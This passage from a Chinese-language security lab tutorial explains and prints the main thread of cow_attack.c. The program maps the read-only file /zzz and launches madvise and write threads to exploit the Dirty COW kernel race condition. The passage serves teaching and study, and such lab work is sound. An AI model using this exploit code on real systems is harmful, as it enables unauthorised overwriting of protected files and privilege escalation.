设置内存映射线程
章节大纲
-
解压实验文件 zip 可以获得 cow_attack.c。该程序包含三个线程:主线程、write 线程和 madvise 线程。 主线程将 /zzz 映射到内存中,找到模式 "222222" 的位置,然后创建两个线程来利用操作系统内核中的 Dirty COW 竞争条件漏洞。
/* cow_attack.c (主线程) */ #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <sys/stat.h> #include <string.h> void *map; int main(int argc, char *argv[]) { pthread_t pth1,pth2; struct stat st; int file_size; // 以只读模式打开目标文件。 int f=open("/zzz", O_RDONLY); // 使用 MAP_PRIVATE 将文件映射到 COW 内存。 fstat(f, &st); file_size = st.st_size; map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0); // 找到目标区域的位置 char *position = strstr(map, "222222"); ① // 我们需要使用两个线程进行攻击。 pthread_create(&pth1, NULL, madviseThread, (void *)file_size); ② pthread_create(&pth2, NULL, writeThread, position); ③ // 等待线程结束。 pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
在上述代码中,我们需要找到字符串 "222222" 的位置。 我们使用一个字符串函数 strstr() 来找到映射内存中 "222222" 的位置(行 ①)。然后,我们启动两个线程: madviseThread(行 ②)和 writeThread(行 ③)。